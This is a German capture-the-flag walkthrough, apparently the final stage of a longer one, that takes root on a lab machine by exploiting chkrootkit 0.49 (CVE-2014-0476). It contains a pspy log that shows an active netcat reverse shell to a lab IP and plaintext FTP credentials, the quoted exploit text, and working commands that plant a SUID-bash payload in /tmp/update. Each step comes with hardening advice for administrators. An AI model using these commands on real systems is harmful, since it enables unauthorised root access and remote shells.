██████ ██▓███ ▓██ ██▓ ▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒ ▓██░ ██▓▒ ▓██▄ ▓██░ ██▓▒ ▒██ ██░ ▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒░ ▐██▓░ ▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ██▒▓░ ▒▓▒░ ░ ░ ▒▓▒ ▒ ░░ ▒▓▒░ ░ ▓██░▒░ ░▒ ░ ░▒ ░ ░ ░ ▒ ░ ▒ ▒ ░░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ Config: Printing events (colored=true), watching directories [/usr /tmp /etc /home /var /opt] (recursive=false) | Scanning for processes every 100ms and on inotify events | Watching commands containing 'backup', 'ssh' (case-insensitive=false) 2024/09/03 00:52:29 CMD: UID=1000 PID=1641136 | sleep 1 2024/09/03 00:52:29 CMD: UID=1000 PID=1641128 | ./pspy32s 2024/09/03 00:52:29 CMD: UID=0 PID=1637885 | 2024/09/03 00:52:29 CMD: UID=1000 PID=1636793 | /bin/bash 2024/09/03 00:52:29 CMD: UID=1000 PID=1636792 | python3 -c import pty;pty.spawn("/bin/bash") 2024/09/03 00:52:29 CMD: UID=0 PID=1635762 | 2024/09/03 00:52:29 CMD: UID=1000 PID=1635724 | bash 2024/09/03 00:52:29 CMD: UID=1000 PID=1635723 | sh -c nc 192.168.2.199 9001 -e /bin/bash 2024/09/03 00:52:29 CMD: UID=0 PID=1630395 | 2024/09/03 00:52:29 CMD: UID=0 PID=1630386 | 2024/09/03 00:52:29 CMD: UID=0 PID=1617522 | 2024/09/03 00:52:29 CMD: UID=0 PID=1604702 | 2024/09/03 00:52:29 CMD: UID=0 PID=1275501 | 2024/09/03 00:52:29 CMD: UID=0 PID=416 | /sbin/agetty -o -p -- \\u --noclear tty1 linux 2024/09/03 00:52:29 CMD: UID=1000 PID=414 | /usr/bin/python3 -m http.server 8000 -d /var/www/html 2024/09/03 00:52:29 CMD: UID=1000 PID=413 | /usr/bin/redis-server *:6379 2024/09/03 00:52:29 CMD: UID=1000 PID=412 | /usr/bin/python3 -m pyftpdlib -p2121 -w -d /srv/ftp/ -u ben -P bonjour 2024/09/03 00:52:29 CMD: UID=1000 PID=409 | /bin/sh -c /usr/bin/python3 -m http.server 8000 -d /var/www/html 2024/09/03 00:52:29 CMD: UID=1000 PID=408 | /bin/sh -c while true; do /usr/bin/chmod 700 /srv/ftp/*.so ; sleep 1; done 2024/09/03 00:52:29 CMD: UID=1000 PID=407 | /bin/sh -c /usr/bin/python3 -m pyftpdlib -p2121 -w -d /srv/ftp/ -u ben -P bonjour 2024/09/03 00:52:29 CMD: UID=0 PID=390 | /usr/sbin/cron -f 2024/09/03 00:52:29 CMD: UID=0 PID=388 | /usr/sbin/cron -f 2024/09/03 00:52:29 CMD: UID=0 PID=387 | /usr/sbin/cron -f 2024/09/03 00:52:29 CMD: UID=0 PID=366 | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 2024/09/03 00:52:29 CMD: UID=0 PID=365 | /lib/systemd/systemd-logind 2024/09/03 00:52:29 CMD: UID=0 PID=364 | /usr/sbin/rsyslogd -n -iNONE 2024/09/03 00:52:29 CMD: UID=103 PID=362 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 2024/09/03 00:52:29 CMD: UID=0 PID=361 | /usr/sbin/cron -f 2024/09/03 00:52:29 CMD: UID=104 PID=278 | /lib/systemd/systemd-timesyncd 2024/09/03 00:52:29 CMD: UID=0 PID=268 | 2024/09/03 00:52:29 CMD: UID=0 PID=266 | 2024/09/03 00:52:29 CMD: UID=0 PID=263 | 2024/09/03 00:53:01 CMD: UID=0 PID=1641200 | /usr/sbin/CRON -f 2024/09/03 00:53:01 CMD: UID=0 PID=1641201 | /usr/sbin/CRON -f 2024/09/03 00:53:01 CMD: UID=0 PID=1641202 | /bin/sh -c /usr/bin/chkrootkit ... (pspy läuft weiter)
Analyse: Nachdem `pspy` aufgedeckt hat, dass `/usr/bin/chkrootkit` regelmäßig (vermutlich via Cron) als root ausgeführt wird, wird die Version von `chkrootkit` überprüft (`/usr/bin/chkrootkit -V`). Anschließend wird mit `searchsploit chkrootkit` nach bekannten Exploits gesucht.
Bewertung: Die Version ist `0.49`. `searchsploit` findet zwei relevante Einträge für `chkrootkit`: Einen Metasploit-Modul (`38775.rb`) und einen lokalen Exploit (`33899.txt`) für genau die Version `0.49`. Dies ist ein vielversprechender Hinweis auf eine ausnutzbare Schwachstelle.
Empfehlung (Pentester): Untersuche den gefundenen Exploit `33899.txt`. Finde heraus, wie er funktioniert und ob er auf diesem System anwendbar ist.
Empfehlung (Admin): `chkrootkit 0.49` ist veraltet und bekannt für eine lokale Privilege Escalation Schwachstelle. Aktualisiere `chkrootkit` dringend auf eine gepatchte Version oder entferne es, wenn es nicht zwingend benötigt wird. Überprüfe, wie `chkrootkit` ausgeführt wird (Cronjob?) und ob dies notwendig ist.
ben@system:/dev/shm$ /usr/bin/chkrootkit -V chkrootkit version 0.49
------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------- --------------------------------- Chkrootkit - Local Privilege Escalation (Metasploit) | linux/local/38775.rb Chkrootkit 0.49 - Local Privilege Escalation | linux/local/33899.txt ------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
Analyse: Der Pfad zum Exploit-Text wird mit `locate linux/local/33899.txt` gefunden und der Inhalt der Datei wird mit `cat` angezeigt.
Bewertung: Der Exploit-Text beschreibt die Schwachstelle: `chkrootkit 0.49` führt in seiner `slapper()`-Funktion Code aus einer Datei namens `update` im Verzeichnis `/tmp` aus, falls diese existiert. Da `/tmp` normalerweise für alle Benutzer beschreibbar ist, kann ein lokaler Angreifer eine bösartige Datei `/tmp/update` erstellen, die dann beim nächsten Lauf von `chkrootkit` (ausgelöst durch den Cronjob) mit root-Rechten ausgeführt wird.
Empfehlung (Pentester): Die Schwachstelle ist klar und anwendbar. Erstelle eine Datei `/tmp/update` mit einem Payload, der Root-Rechte erlangt (z.B. `chmod +s /bin/bash`, um SUID auf die Bash zu setzen, oder direkt eine Reverse Shell als root starten). Warte, bis der Cronjob `chkrootkit` ausführt.
Empfehlung (Admin): Siehe vorherige Empfehlung: `chkrootkit` patchen oder entfernen. Zusätzlich kann das Mounten von `/tmp` mit der `noexec`-Option das Ausführen von Skripten aus `/tmp` verhindern, was diesen spezifischen Exploit entschärfen würde.
/usr/share/exploitdb/exploits/linux/local/33899.txt
# Exploit Title: chkrootkit 0.49 - Local Privilege Escalation # Date: 2014-07-14 # Exploit Author: Ramon de C Valle # Vendor Homepage: www.chkrootkit.org # Software Link: ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz # Version: 0.49 # Tested on: Debian GNU/Linux 7.0 # CVE : CVE-2014-0476 We just found a serious vulnerability in the chkrootkit package, which may allow local attackers to gain root access to a box in certain configurations (/tmp not mounted noexec). The vulnerability is located in the function slapper() in the shellscript chkrootkit: # VULNERABLE CODE PART ... if [ -f ${i} ]; then # <-- ${i} is expanded to /tmp/update among others file_port=$file_port $i # <-- If /tmp/update exists, it is executed here! STATUS=1 fi ... # PROOF OF CONCEPT Just create an executable file in /tmp/update with the following content #!/bin/bash /bin/bash Now, wait chkrootkit tool execution. # Greetz Our friends from OAnalistas - Hacking & Security Research Group
Analyse: Es wird überprüft, ob das Verzeichnis `/etc/cron.daily` existiert (tut es) und die Berechtigungen der `chkrootkit`-Datei werden angezeigt (`ls -la /usr/bin/chkrootkit`).
Bewertung: Die Existenz von `/etc/cron.daily` legt nahe, dass Cronjobs täglich ausgeführt werden. Die Datei `/usr/bin/chkrootkit` ist ausführbar und gehört root. Dies passt zu den Beobachtungen von `pspy` und der Exploit-Beschreibung.
Empfehlung (Pentester): Fahre mit der Erstellung des Exploits in `/tmp/update` fort.
Empfehlung (Admin): Überprüfe den Inhalt von `/etc/cron.daily` und anderen Cron-Verzeichnissen, um zu bestätigen, dass `chkrootkit` dort (oder in `/etc/crontab`) aufgerufen wird.
ben@system:/dev/shm$ cat /etc/cron.daily/ cat: /etc/cron.daily/: Is a directory ben@system:/dev/shm$ ls -la /usr/bin/chkrootkit -rwxr-xr-x 1 root root 76181 may 6 17:16 /usr/bin/chkrootkit
Analyse: Der Exploit wird erstellt. Zuerst wird die Datei `/tmp/update` mit dem Shebang `#!/bin/bash` erzeugt (`echo ... >`). Dann wird der Befehl `chmod +s /bin/bash` an die Datei angehängt (`echo ... >>`). Dieser Befehl setzt das SUID-Bit auf die Bash-Binary, was bedeutet, dass jeder, der `/bin/bash -p` ausführt, eine Root-Shell erhält. Anschließend wird versucht, `/bin/bash -p` auszuführen und `id` geprüft. Die erstellte Datei `/tmp/update` wird zur Kontrolle angezeigt.
Bewertung: Die Datei `/tmp/update` wird korrekt erstellt. Der Versuch, `/bin/bash -p` sofort auszuführen, schlägt fehl (man erhält keine Root-Shell, `id` zeigt immer noch `ben`), da der Exploit (`/tmp/update`) noch nicht von `chkrootkit` (als root) ausgeführt wurde und somit `/bin/bash` noch kein SUID-Bit hat.
Empfehlung (Pentester): Mache die Datei `/tmp/update` ausführbar (`chmod +x /tmp/update`). Warte nun, bis der Cronjob `chkrootkit` ausführt (dies kann je nach Konfiguration bis zu einer Stunde oder länger dauern, wenn es ein täglicher Job ist, oder schneller, wenn es z.B. minütlich läuft - pspy zeigte eine Ausführung nach ca. einer Minute). Überprüfe danach erneut mit `ls -l /bin/bash`, ob das SUID-Bit gesetzt ist, und führe dann `/bin/bash -p` aus.
Empfehlung (Admin): Die Erstellung der Datei `/tmp/update` ist der entscheidende Schritt des Angriffs. File Integrity Monitoring (FIM) auf `/tmp` oder das Mounten mit `noexec` können dies erkennen oder verhindern.
ben@system:/dev/shm$ echo '#!/bin/bash' > /tmp/update ben@system:/dev/shm$ echo 'chmod +s /bin/bash' >> /tmp/update ben@system:/dev/shm$ /bin/bash -p ben@system:/dev/shm$ id uid=1000(ben) gid=1000(ben) groups=1000(ben) ben@system:/dev/shm$ cat /tmp/update #!/bin/bash chmod +s /bin/bash ben@system:/dev/shm$ id uid=1000(ben) gid=1000(ben) groups=1000(ben)
Analyse: Die erstellte Exploit-Datei `/tmp/update` wird ausführbar gemacht (`chmod +x /tmp/update`). Es wird angenommen, dass danach der Cronjob gelaufen ist (oder manuell getriggert wurde). Schließlich wird `/bin/bash -p` ausgeführt. Der Parameter `-p` bewirkt, dass Bash versucht, Privilegien nicht abzulegen, was bei gesetztem SUID-Bit zur Eskalation führt. Der `id`-Befehl wird in der neuen Shell ausgeführt.
Bewertung: Fantastisch, der Exploit war erfolgreich! Der Befehl `/bin/bash -p` startet eine neue Shell, deren Prompt sich zu `bash-5.1#` ändert (ein typisches Zeichen für eine Root-Shell). Der `id`-Befehl bestätigt dies: `uid=1000(ben)` (Real User ID bleibt `ben`), aber `euid=0(root)` und `egid=0(root)` (Effective User/Group ID sind root). Die Gruppe `root` ist ebenfalls vorhanden. Volle Root-Rechte wurden erlangt!
Empfehlung (Pentester): Das Ziel ist erreicht! Du hast Root-Zugriff. Navigiere zum Root-Home-Verzeichnis (`cd /root`), lies die Root-Flag (`cat root.txt`). Dokumentiere den Erfolg und die ausgenutzte Schwachstelle.
Empfehlung (Admin): Das System ist vollständig kompromittiert. Isoliere das System sofort. Führe eine forensische Analyse durch, um das Ausmaß des Schadens und eventuelle Persistenzmechanismen zu ermitteln. Spiele ein sauberes Backup ein oder installiere das System neu. Patche die `chkrootkit`-Schwachstelle und behebe alle anderen gefundenen Schwachstellen (schwache Passwörter, unsichere Dienste, fehlende Härtung).
ben@system:/dev/shm$ chmod +x /tmp/update ben@system:/dev/shm$ /bin/bash -p bash-5.1# id uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
Analyse: In der erlangten Root-Shell wird in das Home-Verzeichnis des ursprünglichen Benutzers (`cd ~`) und dann in das Root-Verzeichnis (`cd /root`) gewechselt. In beiden Verzeichnissen wird der Inhalt aufgelistet (`ls`). Schließlich wird die Root-Flag ausgelesen (`cat root.txt`).
Bewertung: Die Navigation und das Auflisten der Verzeichnisse funktionieren wie erwartet. Die Datei `root.txt` wird im Verzeichnis `/root` gefunden. Der Befehl `cat root.txt` gibt die Root-Flag `3e6519259811c5b326cbff0b632a5c2d` aus. Damit ist die letzte Aufgabe der Challenge erfüllt.
Empfehlung (Pentester): Beide Flags (User und Root) wurden erfolgreich extrahiert. Der Penetrationstest ist abgeschlossen. Erstelle den Abschlussbericht mit allen Schritten, Funden und Empfehlungen.
Empfehlung (Admin): Siehe vorherige Empfehlung. Die Kompromittierung ist bestätigt. Maßnahmen zur Bereinigung und Absicherung sind dringend erforderlich.
bash-5.1# cd ~ bash-5.1# ls user.txt bash-5.1# cd /root bash-5.1# ls root.txt bash-5.1# cat root.txt 3e6519259811c5b326cbff0b632a5c2d